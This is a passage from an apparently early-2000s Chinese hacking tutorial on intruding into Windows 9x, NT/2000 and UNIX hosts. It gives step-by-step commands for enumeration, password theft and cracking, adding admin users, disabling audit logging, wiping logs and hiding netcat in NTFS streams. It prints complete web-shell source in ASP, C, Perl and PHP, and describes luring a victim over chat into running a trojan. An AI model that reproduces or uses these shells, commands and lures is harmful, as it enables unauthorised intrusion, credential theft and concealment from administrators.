# not preloaded, but are parsed only after dynamic name resolution fails.
#
# Following an entry with the "#DOM:<domain>" tag will associate the
# entry with the domain specified by <domain>. This affects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary to also add a
# #PRE to the line. The <domain> is always preloaded although it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE <filename>" will force the RFC NetBIOS (NBT)
# software to seek the specified <filename> and parse it as if it were
# local. <filename> is generally a UNC-based name, allowing a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address of the
# server prior to the #INCLUDE. This mapping must use the #PRE directive.
# In addtion the share "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read the lmhosts file successfully. This key is under
# \machine\system\currentcontrolset\services\lanmanserver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
#
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple #INCLUDE
# statements to be grouped together. Any single successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# first surrounding the NetBIOS name in quotations, then using the
# \0xnn notation to specify a hex value for a non-printing character.
#
# The following example illustrates all of these extensions:
#
# 102.54.94.97 rhino #PRE #DOM:networking #net group's DC
# 102.54.94.102 "appname \0x14" #special app server
# 102.54.94.123 popular #PRE #source server
# 102.54.94.117 localsrv #PRE #needed for the include
#
# #BEGIN_ALTERNATE
# #INCLUDE \\localsrv\public\lmhosts
# #INCLUDE \\rhino\public\lmhosts
# #END_ALTERNATE
#
# In the above example, the "appname" server contains a special
# character in its name, the "popular" and "localsrv" server names are
# preloaded, and the "rhino" server name is specified so it can be used
# to later #INCLUDE a centrally maintained lmhosts file if the "localsrv"
# system is unavailable.
#
# Note that the whole file is parsed including comments on each lookup,
# so keeping the number of comments to a minimum will improve performance.
# Therefore it is not advisable to simply add lmhosts file entries onto the
# end of this file.
这大体是对这个文件的描述，我们可以把内容删除掉，写入如下的格式：
192.168.202.33 SANTINO
注意：IP与SANTINO中间存在一个空格。保存，然后把名字改成Lmhosts，不要扩展名。最后你就可以在查找－计算机中输入机器名或者IP地址，就可以找到主机，双击就可以进入主机了。当然也可以用运行－\\ip的方法也一样。
4、 UNIX查点：大多数现代的UNIX实现依赖于TCP/IP连网特性，5、 因此不6、 会象通过其传统的NetBios接口联网的NT/2000那样随随便便的泄漏信息，7、 然而8、 这一点并不9、 能说UNIX可以免受查点技巧的侵害。
UNIX中有一个实用工具showmount，它在查点某个网络中经由NFS出口的文件系统上很有用。下面以一个例子说明：
[japleak@root]$showmount -e 192.168.202.34
export list for 192.168.202.34:
/pub (erveryone)
/var (erveryone)
/usr user
-e开关指示所指定NFS服务器主机的出口清单。不幸的是，几乎没有什么措施可以用来堵塞这个漏洞，因为NFS的缺省行为。
UNIX网络信息的另一个潜在来源是NIS。NIS的主要问题是，一旦知道某台服务器的NIS域名，就可以使用简单的RPC查询取得其NIS映射表中的任何内容。NIS映射表是同一域内各主机关键信息的分布式映射关系。
下面再讨论UNIX的一个实用工具finger，finger是自动获取远程主机上用户信息的简便方法。有不少系统管理员无意的让fingerd运行在不安全的缺省配置上。下面的例子假设上次已经标识出运行finger服务（端口号为79）的一台有效主机：
[japleak@root]$finger -l @targer.hackme.com
[target.hackme.com]
Login:root Name:root
Directory:/root Shell:/bin/bash
On since Sun Mar 28 11:01(PST) on tty1 11minutes idle
(messages off)
On since Sun Mar 28 11:01 (PST) on ttyp0 from :0.0
3 minutes 6 seconds idle
No mail.
Plan:
John Smith
Security Guru
Telnet password is my birthdate.
“finger 0@hostname”命令也会给出有用信息：
[japleak@root]$finger 0@192.168.202.34
[192.168.202.34]
Line User Host(S) ldle Location
* 2 vty 0 idle 0 192.168.202.14
Se0 Sync PPP 00:00:02
不过所有UNIX的查点技巧的先决条件是取得/etc/passwd文件，这里值得提及的是TFTP(简单文件传输协议)，它是最为流行的攫取passwd文件的一种方法：
[japleak@root]$tftp 192.168.202.34
tftp>connect 192.168.202.34
tftp>get /etc/passwd /tmp/passwd.cracklater
tftp>quit
这个文件除了能用一些破解软件破解，还能直接从文件中直接读取用户信息。
第四章：攻击Windows 95/98
据我所知，现在网上对于攻击Windows 9X这方面的文章也不太多，其主要是因为Windows 9X并没有提供太大的网络功能。很多入侵者往往是借助系统本身的命令达到入侵的目的，为了更好的研究9X系统，我希望把我的一些心得写出来供大家参考：
攻击者们“占有”一个Windows9X系统的方法只有两个：要么欺骗系统管理员执行他们期望的代码，要么物理上接触系统的控制台。然而这些方法都比较困难，因此很多朋友在论坛上询问怎么攻击Windows 9X系统，几乎就没有几个人回答上的原因了。
1、Windows 9X远程漏洞发掘：Windows 9X的远程漏洞发掘技巧可以分为四个基本类：（1）直接连接到某个共享资源；（2）安装后门服务程序（木马）；（3）发掘已知的服务器程序弱点；（4）拒绝服务（DoS）。
共享资源是Windows 9X的一个致命漏洞，文件和打印共享、可选的拨号服务器以及远程注册表操纵都是危及Windows 9X安全的方面。大家都知道基于Rhino 9小组的Legion就是一个寻找共享的工具，除了扫描一个IP地址范围以发现Windows共享资源外，还有一个蛮力破解器（Force Share），可以挂一个字典破解共享文件的密码。假设我们现在已经发现了192.168.202.34上一个共享文件夹MY_DOCUMENTS有一个含有密码的共享，我们就可以通过这个软件破解出来。在这个软件的Path栏输入：\\192.168.202.34\MY_DOCUMENTS指定破解共享密码的文件夹，然后在Word Lists点击Add按钮，选择密码文件（这里密码文件不需要太大，一般9X的共享密码很多人都设定比较短，加上本来设定共享的文件夹一般管理员的安全意识不高），最后点Start按钮，开始利用字典破解。
虽然如果只是一个只读共享，看似这样的你的系统问题也不很大，不过你的信息已经暴露给对方了。甚至有的还是全盘完全共享，由此你就可以进入这台主机，也可以通过他作为跳板进入此机所在局域网的其他主机。同时，为了找到其他合法用户，可以下载PWL文件，通过PWLVIEW一个软件很简单就可以看见对方的其他用户。当然对于喜欢木马的用户，也可以给他种一个木马。（不过本人不推荐完全依赖木马）还有一个危险就是很多人知道的无效的请求：\\192.168.202.34\MY_DOCUMENTS\con\con就会让对方蓝屏！
其次就是安装后门服务程序，传统我们成为木马程序。现在用的较多的木马程序有国产的冰河、蓝色火焰、广外女生等，国外的软件有Back Orifice、NetBus等。不过木马程序都必须让服务器端（受攻击端执行），现在面临的问题就是如何让对方执行，下面有两种方法：（1）缓冲区溢出：缓冲区溢出就是利用应用程序代码某个特定片断中内在的缺陷将随意的命令“溢出”到服务器的执行队列中。例如，技术高超的程序员就能够编写自己选定的代码（假如是冰河的服务器程序）推入执行它的处理器的堆栈中的应用程序。这个过程通常以隐秘的方式启动溢出的代码，几乎不可能检测到。现在已经有很多办法能做到这一点了，大家还记得有一篇文章叫做《让网页自动执行你的程序》吧？如果把这个程序改成冰河的服务程序？而且不光是网页能做到这一点，电子邮件也是很危险的，建议还是最好用WEB的方式接收邮件，尽量不要用软件接收邮件！（2）欺骗：我记得有一篇文章就是利用欺骗的方法控制了一台主机，具体谁写的一时给忘了。就是比如你用QQ聊天时候，把你的名字改成MM的拉，而且最好要动听，比如什么雪什么婷的，吸引你要黑的大GG上钩，而且还最好你加他，这样他会觉得你对他的名字有好感，加上你的名字动人，说不定就会……^_^，首先给他套近关系，最好打情骂俏一些，说说肉麻的话也可以。然后你说你最近有一个FLASH不知道怎么不能看，你说让他帮你看看。我想这样一定有98％的GG都会具有很绅士的风度的，你就通过传输文件给他把你的服务端程序发送过去，当然以后的事情就不用说了把？其实这个方法可以用一些程序绑定软件，或者作一个批处理，把批处理的图标改成一个图象或者什么的，让他看见MM的照片的同时，也执行了你的代码。
对于已知的服务器程序弱点可能就没有上面的方法用的多了，应该说9X系统还是一个很安全的系统的，不过最好不要在9X的机器上运行服务器软件，除非你确定他们是安全的。Microsoft的Personal Web Server软件就存在这样一个危险，可以参考改漏洞的描述（http://www.microsoft.com/security/bulletins/ms99-010.asp）。另外Frontpage的扩展服务也存在这样的一个漏洞。
最后是最后到无奈时候的黑客常用的方法：拒绝服务。通过发送病态的网络分组，导致Windows 9X系统崩溃的程序非常只多。比如：ping of death、teardrop、land和WinNuke等。
2、控制台（物理接触）攻击9X：其实这一点我都不知道是不是应该算这篇文章的讨论范围，不过这在我们讨论网络安全方面来说还是很重要的，还是简要的讨论讨论吧。首先如果主机设置了屏幕保护程序，99％的人都会毫不犹豫的按一下Reset键，接下来就没有什么好做了，不过我觉得现在有一篇文章很好，具体名字我忘了，说的就是通过局域网通过IP冲突巧妙的绕过屏幕保护密码。而且还有一个方法就是在一个有光驱的计算机放入一张能自动运行的光盘，这样也能绕过屏幕保护的限制。这里有一篇Microsoft知识库编号为Q141059的文章详细介绍了CD-ROM的Autorun问题：Windows polls repeatedly to detect if a CD-ROM has been inserted.When a CD-ROM is detected,the volume is checked for an Autorun.inf file.If the volume contains an Autorun.inf file,programs listed on the ‘open=’ line in the file are run.（Windows反复轮询以检测是否插入了一个CD-ROM，当检测到一个CD-ROM时，就检查其上是否有一个名为Autorun.inf的文件。如果存在这个文件，就自动运行列在其中的‘open=’行上的程序）
另外还有一些漏洞，比如破解密码。Copy c:\windows\*.pwl a:\ 你就可以拿回自己的电脑上，用pwlview一眼就看出用户名和密码哟。如果主机是一个拨号上网用户，有可能还有拨号帐户和密码哟。
第五章：攻击Windows NT/2000
现在说起Windwos NT/2000与LINXU/UNIX安全性比较，很多人都会认为Windows的安全性能赶不上LINUX/UNIX的安全性，其实对于有一定见解的人看来，NT的安全性已经接近任何UNIX类型的系统了，有的地方也许比他们更好，原因如下：
? NT/2000不? 提供在服? 务器的处理器空间远程运行代码的固有能力：从客户机启动的任何可执行程序加载到本客户机的CPU和内存中。
? NT/2000服? 务器（非工作站）控制台的交互登陆权力缺省只局限于几个管理性帐号，? 除非攻击者攻破了这些帐号，? 否则他们仍然不? 为人知。绕开这些障碍确实存在，? 不? 过需要满足多个条件。
? Microsoft基本上限制了访问NT/2000源代码的可能，? 使的在NT/2000远程缓冲区溢出比UNIX系列操作系统更加困难。
不过说了这么多，并不是NT/2000没有很多缺陷，只是NT/2000运用的一些协议和加密算法使的出现了比较多得漏洞。NT/2000继续依赖NetBIOS/CIFS/SMB联网协议以及加密用户密码仍旧用陈旧的Lan Manager算法。这样使的破解NT/2000密码变得比较容易，一般常用LC3来破解密码文件sam。
1、 得到Administrator帐号：攻击者如果不2、 用Adminsitrator帐号，3、 几乎什么事情都做不4、 了，5、 不6、 过这里也不7、 能完全肯定，8、 比如利用IIS的Unicode漏洞就可达到黑主页的目的，9、 具体看需要做什么了。
通过第二章的讲解，一般都可以通过扫描器扫描到很多帐号，而且一般扫描器都自身带有破解比较弱智密码的功能。其实这个过程很多攻击者并不了解，我想通过对下面Evgenii Rudnyi编写的sid2user /user2sid两个工具的介绍，你就能更加了解扫描帐号的一些方法了。
首先，利用sid2user查看SID（security identifier安全标识符），得到一些安全标识符的ID后，然后就可以通过user2sid找到相应的安全标识符ID的用户名了。
C:\>user2sid \\192.168.202.34 “domain users”
S-1-5-21-8915387-1645822062-1819828000-513
Number of subauthorities is 5
Domain is WINDOWSNT
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
这些信息对我们最有用的莫过于第一行的最后一组字符513了，它就是相对标识符（relative identifier,简称RID），对于像Administrator或Guest之类的内置用户和用户组，它是预先定义的。比如说，Administrator用户的RID总是500，Guest用户的RID总是501。知道了某个域的SID后，我们就可以利用user2sid查找出相应的用户名了。
C:\>sid2user \\192.168.202.34 5 21 8915387 1645822062 1819828000 500
Name is japleak
Domain is WINDOWSNT
Type of SID is SidTypeUser
注意，使用sid2user时省略了S-1和各组数字之间的短划线，一旦有了用户名japleak，就可以利用一些暴力破解密码了。
其实上面的方法虽然显得比较笨拙，不过那只是一种思维，我们希望的道管理员帐号和密码，很多人都喜欢利用软件自动猜测。比如用Letmein来破解密码，效率特别高，由于篇幅有限，具体使用方法参考Letmein的帮助吧。
得到Administrator权限的方法还有很多，比如说利用Unicode漏洞下载sam通过L0pht一个国外黑客组织的LC3导入密码文件，可以在短短几个小时破解出60％的一般密码。
另外，一种得到Administrator权限的方法也可以是通过缓冲区溢出，比如用的较多的null.idq、null.ida和null.printer都可以通过一串指定的代码溢出缓冲区，达到Administrator权限的shell，然后再通过net user username password /add添加用户。
当然还可以利用一个权限不高的用户名，在主机上创建一个后门，得到Administrator权限。比如你申请一个免费的ASP空间或者PHP空间，你就可以编写一个ASP木马或PHP木马，在服务器上运行代码，获得Administrator权限，下面把这常见的网页木马源代码公布如下：
ASP木马for WINDOWS NT/2000：
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
ASP木马for WIN9X：
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("command /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
用C实现的CGI木马（gcc -o cmd cmd.c —chown root.root cmd—chmod 475 cmd 把编译好的 cmd 文件放到 cgi-bin 目录下，在 apache 1.3.4 上测试通过）：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TITLE "Cmder"
char x2c(char *what);
int header();
int footer();
int
main() {
FILE *out;
char *qs = (char *)malloc(256);
int x = 0, i = 0, c = 0, f = 0;
qs = getenv("QUERY_STRING");
if (qs != NULL) {
for (x = 0, i = 0; qs[i]; x++, i++) {
if ((qs[x] = qs[i]) == '%') {
qs[x] = x2c(&qs[i + 1]);
i += 2;
}
}
qs[x] = '\0';
for (x = 0; qs[x]; x++) {
if (qs[x] == '+') {
qs[x] = ' ';
}
}
header(qs);
out = popen(qs, "r");
if (out != NULL) {
while (c != EOF) {
c = fgetc(out);
if (c != EOF && c != '\0') {
printf("%c", (char) c);
f++;
}
}
pclose(out);
}
if (f == 0 && strcmp(qs, "") != 0)
printf("gH: %s: command not found\n", qs);
}
footer();
return(0);
}
char x2c(char *what)
{
register char digit;
digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
digit *= 16;
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
return (digit);
}
int
header(char *qs) {
printf("Content-type: text/html\n\n");
printf("<html>\n<head><title>%s</title></head>\n", TITLE);
printf("<body bgcolor=\"#ffffff\">\n");
printf("<dir>");
printf("<ISINDEX prompt=\"CMD:> \">\n");
printf("<br>CMD:> %s\n", qs);
printf("<br><pre>\n");
}
int
footer() {
printf("</pre>\n</dir>\n</body></html>\n");
}
用PERL实现的CGI木马：
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
用PHP实现的PHP木马：
<title>PHP Shell</title>
</head>
<body>
<h1>PHP Shell</h1>
<?php
/* First we check if there has been asked for a working directory. */
if (isset($work_dir)) {/* A workdir has been asked for - we chdir to that dir. */
chdir($work_dir);
$work_dir = exec("pwd");
}
else {/* No work_dir - we chdir to $DOCUMENT_ROOT */
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>Current working directory: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted[0] == "")
{
$work_dir = "/"; /* Root directory. */
}
else {
for ($i = 0; $i < count($work_dir_splitted); $i++)
{
/* echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?>
</b>
</p>
<p>Choose new working directory:</p>
<select name="work_dir" onChange="this.form.submit()">
<?php/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle))
{
if (is_dir($dir))
{
if ($dir == ".")
{
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
}
elseif ($dir == "..")
{
/* We have found the parent dir. We must be carefull if the parent
directory is the root directory (/). */
if (strlen($work_dir) == 1)
{
/* work_dir is only 1 charecter - it can only be / */
}
elseif (strrpos($work_dir, "/") == 0)
{
/* The last / in work_dir were the first charecter.
This means that we have a top-level directory
eg. /bin or /home etc... */
echo "<option value=\"/\">Parent Directory</option>\n";
}
else {
/* We do a little bit of string-manipulation to find the parent
directory... Trust me - it works :-) */
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
}
}
else {
if ($work_dir == "/")
{
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
}
else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>
</select>
<p>Command:</p>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?> >
<input name="submit_btn" type="submit" value="Execute Command"></p>
<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
<p>Output:</p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
if ($stderr) {
system($command . " 1> /tmp/output.txt 2>&1;
cat /tmp/output.txt; rm /tmp/output.txt");
}
else {
system($command);
}
}
?>
</textarea>
</form>
<hr>
<i>Copyright &copy; 2000, <a
href="mailto:gimpster@gimpster.com">Martin Geisler</a>. Get the latest
version at <a href="http://www.gimpster.com">www.gimpster.com</a>.</i>
</body>
</html>
特洛伊木马也对主机系统安全具有很大的危险性，只要能写入主机某个目录，并能通过方法运行，就可以完全控制主机了。当然这样也就拥有了Administrator权限了，甚至在某种意义上说，一些方面可能比Administrator权限高，比如说某些注册表键值对于Administrator也是不可读的，如密码信息。
再就是通过finger获得重要信息：finger服务一般是为了方便网络管理员查看网络运行状况的服务，不过在黑客利用这一点来，可以查看到一些重要信息，有的用户名和密码在网络上明文传输，稍不留意就可能得到管理员帐号和密码。网络传输信息，其实是一个广播过程，发送数据的主机发送一个广播地址给域内的所有主机，等待一个特定IP的主机回应，然后特定主机才发送一个相应信息，进行通讯。不过这样，虽然网络内其他主机不能接受主机发出的信息，但是他也可以接受到这个信息，然后利用finger服务查看两台主机之间进行的传输数据。
发掘信任漏洞是一种比较高级的技术：对凯文·米特尼克有一定了解的朋友可能都知道他在圣诞节晚上通过一台主机与另一台不很重要的主机的信任关系，通过首先占领另一台不太重要的主机，最终根据权限比较高，成功攻克了一个大型站点。这其实是一种岛跳关系，而不是一般入侵者用的肉鸡做跳板的类型。具体实现方法我也不是很了解，希望对此有经验的朋友不惜赐教。
最后是通过拒绝服务器攻击可能获得Administrator权限：有的网络设备或软件受到拒绝服务的大量数据包攻击，来不及处理得到的信息，就会出现暂时的“罢工”状态，一些设置暂时恢复到初始状态。比如说CISCO路由器如果受到DoS攻击，就可能出现暂时恢复到默认状态，这样就可以通过默认的用户名Admin和密码Admin进入路由器，下载密码文件，利用软件破解。
10、 巩固权限：巩固权限的方法也是也类似得到Administrator权限的方法，11、 比如破
解sam，并成功的擦除主机上你的登陆日志。这样你就可以得到一个永久的用户名和密码的合法帐号（如果管理员不是勤于修改密码的话）。
留后门的方法很多，可以将一些后门程序放在很多地方，而且让他们在重新启动计算机时一起执行。我记得网络上有一篇文章叫做《系统启动自动运行程序的十种方法》写得很好，对于一些后门程序可以做参考。也可以利用WINDOWS NT/2000的Schedule（at）指令指定在某个时间运行（如果系统关闭了Schedule，可以通过WINDOWS NT/2000光盘中Suport目录下的sc命令打开）。
另外通过开放主机的某个特定端口，通过特定的方法与主机进行连接。对于缺乏较强网络知识的管理员，大多不能确定哪个端口开放什么服务，对于一些开放的端口也不敢轻易关闭，这就跟了攻击者可乘之机。比如说常用的nc99，就是在你的主机上悄悄开放一个端口99，如果你了解，就可以直接telnet到那个端口。可是现在很多管理员却都不知道，也不知道应该怎么办。真是遗憾！
12、 掩盖踪迹：入侵者一旦成功地取得某个系统的Administrator帐号，13、 他们就会把力量集中在避免自己地行踪被检测地目标14、 上。一般他们可以用下面地几种方法掩盖：
? 禁止审计：如果目标? 系统管理员地安全意识不? 强，? 不? 懂的使用审计功能。然而? 审计功能会降低服? 务器的性能，? 特别是关于用户合用户组管理种的成功事件之类的功能单元成功时。因此大多数系统管理员要么不? 审计，? 要么只审计很少的几个项目。对于入侵者来说，? 他们最重要的事情就是检查目标? 系统审计策略的状态，? 害怕自己的行为万? 一被监视着。在WINDOWS NT/2000系统盘中存在一个工具叫做auditpol，? 它可以在shell下轻易的关闭审计功能。使用方法如下：
C:\>auditpol /disable
Running……
Local audit information changed successfully……
New local audit policy……
（0） Audit Disabled
AuditCategorySystem ＝No
AuditCategoryLogon ＝Failure
AuditCategoryObjectAccess ＝No
……
入侵者即将离开目标系统时，会再次使用auditpol的/enable参数重新打开审计功能，然而auditpol仍然能保持审计功能的各项设定不变，让系统管理员神不知鬼不觉的自己的信息已经完全暴露给外界了。
? 清空事件日志：如果一个攻击者在登陆主机的第一步没有做好审计事件的禁止，? 他的一切? 所作所为都被系统日志记录了。真正一个黑客进入主机时，? 首先想到的第一件事情就是自身的安全，? 所以在离开系统后，? 还要清空事件。
好像网上有较多的文章说直接删除NT/2000中的*.evt文件，这些都是日志文件，不过我不知道写这文章的朋友是否曾经实践过？当系统正在利用一个文件的时候时不能删除的。就是说那日志文件每时每刻都在被系统调用，因为系统的运行是没有停止的，他会对一些在审计范围内的事件进行写日志的操作，所以用这样的方法根本是不能实现的。
下面我介绍一下我觉得一个比较好的清除日志的文件CleanIISLog，例子如下：
C:\>CleanIISLog 192.168.202.34 password username
就可以简单做到，清除日志内容，而且不会留下何时删除日志的记录。
? 隐藏文件：对于大多数入侵者都喜欢作一个后门，希? 望长期占有主机，? 因此把一些后门程序合理隐藏起来显得很重要了，? 现在介绍两种比较常用的方法隐藏文件：（1）用attrib隐藏：这里可以用最陈旧的DOS工具attrib工具隐藏这个目录，? 语法如下：
attrib th directory
虽然这样也能隐藏文件，可以利用查看中的显示所有文件的命令还是么有任何效果，因此我们可以用到第二种方法。（2）NTFS文件分流的方法隐藏：如果目标系统是Windows NT/2000文件系统（NTFS）（当然用做WEB服务器，想必都会使用这个文件系统吧，如果还用FAT32格式还有什么安全性可言？），那么入侵者有另一个隐藏技巧可用。NTFS提供在一个文件内分化多个信息“流”的支持。Microsoft夸称NTFS的分流特性是“一种不需要重新构造文件系统就能给一个文件添加额外属性或信息的机制”。这其中还要用到一个工具cp（NT/2000的光盘中带有），我们现在假设要将netcat.exe(nc.exe)分流在从winnt\system32\os2\目录中找到的一个普通文件后面，以便在后续的针对其他远程系统攻击中用到它。选择这个“前端”文件（即oso001.009）是因为它相对模糊些，不过其他文件都可以这样用。
语法：cp file oso001.009:file
上面我们的例子就是：cp nc.exe oso001.009:nc.exe
这里注意，把nc.exe隐藏在oso001.009的“nc.exe”流中，中间要加上一个冒号，而且要隐藏的文件放在后面。要“反分流”出nc.exe，就要使用如下命令：
cp oso001.009:nc.exe nc.exe
这样oso001.009文件的修改日期有变化，不过大小没有改变，因此分流后的文件很难检测出来。
第六章：攻击UNIX类型系统
攻击UNIX 类型的的系统，是很多攻击者头疼的事情，首先现在使用WINDOWS类型的攻击者还是占大多数，因此很多人对UNIX/LINUX系列操作系统不很熟悉，根本就谈不上攻击了，即使偶尔进入一次也都是瞎碰乱撞进入的（我只是说其中一些，并没有任何看不起攻陷UNIX类型系统的高手的意思）。再加上本来这个系列的很多服务都需要管理员手动配置的，不像WINDOWS为了方便普通用户那种很多设置默认配置好了的傻瓜似操作，所以管理员一般的水平都较高，对端口信息、对一些服务器都有所了解，这就相应的给攻击UNIX类型主机的攻击者增大了难度。由于笔者自身对UNIX系列了解也不是太深，所以可能这部分内容存在很多不足和缺陷，希望各位朋友谅解并指出。
跟WINDOWS系统类似，想要占领一台UNIX类型的主机，最主要的方法就是获得root权限，因此下面将针对这个方面作一些探讨：
1、 远程访问：远程访问定义为通过网络（例如某个监听中的服2、 务）或其他通信通道获取访问权，3、 其主要实现方法一般有下面三种：
? 发掘某个监听中服? 务（建立在TCP/IP之上）的漏洞。
? 经由一个在两个或多个网络之间提供安全屏障的UNIX系统路由。
? 由用户发起的远程执行攻击（例如访问恶意的WEB网站、打开特洛伊木马电子邮件等）。
下面看一个具体的例子，以理解不同种类的攻击是如何归属上述三个类别的。
? 发掘某个监听中服? 务（建立在TCP/IP之上）的漏洞：对于很多朋友可能都会因为能成功入侵，? 但是朋友可能也未必相信，? 看看你那瘦瘦的个子，? 怎么也不? 像传说中黑客那种大侠的风范，? 不? 信！“入侵我的系统试试看！”经常作为他们嘲笑入侵者的一句话。其实再安全的系统也不? 是坚固不? 可摧的，? 因为可能有一些漏洞还没有发掘出来，? 像www.apache.org、www.microsoft.com还不? 是被黑客给入侵了？其实这是一个发掘某个监听中服? 务的例子。如果系统不? 再运行允许交互登陆的任何服? 务（telnet、ftp、rlogin或rsh），? 那你又应该怎么进入主机呢？不? 知道大家是否还记得sendmail的一个脆弱点被公布后又怎么样？
? 经由一个UNIX系统路由：这就是说攻击者绕过一个UNIX类型的防火墙。既然已不? 允许任何外来的服? 务访问，? 又如何能够做到这一点呢？许多情况下，? 攻击者使用经由防火墙到达内部系统的源路由分组绕过UNIX防火墙。这种绝技之所以可以是因为当防火墙应用程序需发挥作用时，? 其UNIX内核必须使能IP属性。在大多数这样的例子中，? 攻击者实质上几乎没有真正入侵防火墙本身，? 他们只是把它作为一个路由器而? 已。
? 由用户发起的远程执行攻击：最近很多这样的情况，? 相信朋友都听说过经历过很多了，? 当你浏览一个网站时候，? 网站上有的存在ActiveX代码，? 自动下载到本地执行，? 这样就可能出现一些恶意程序在本地执行，? 修改你系统的一些设置，? 截获一些你本地的系统信息，? 然后发送回原站点。
（1）蛮力攻击：蛮力攻击纯粹是猜测访问某个服务所需的一个用户ID/密码的组合，而该服务在给予该用户以访问权之前要求认证他。最常见的可能成为蛮力攻击对象的服务类型包括：
? Telnet
? 文件传输协议（File Transfer Protocol，? 即FTP）
? “R”命令（rlogin、rsh等）
? 安全shell（Secure Shell，? 即SSH）
? 邮政协议（Post Office Protocol，? 即POP）
? 超文本传输协议（Hyper Text Transfer Protocol，? 即HTTP/HTTPS）
我们可以通过finger、rusers和sendmail之类的服务都可用来标识某个系统上的用户帐号。攻击者一旦取得帐号后，就可以通过猜测与此帐号相连的的密码进行猜测，虽然这种方法手工猜测也是完全可能的，不过大多数时候我们用的是自动执行，下面介绍几个蛮力猜测工具：
brute_web.c http://sunshine.sunshine.ro/FUN/New/
pop.c http://sunshine.sunshine.ro/FUN/New/
middle finger http://www.njh.com/latest/9709/970916-05.html
（2）缓冲区溢出攻击：缓冲区溢出条件发生在某个用于或进程试图往一个缓冲区（即固定长度数组）中放置比原始分配的空间还要多的数据的时候。这种行为与特定的C函数相关联，例如strcpy()、strcat()、sprintf()等等。缓冲区溢出条件通常会导致段越界异常的发生。然而这类行为可精心的利用，达到访问目标系统的目的。
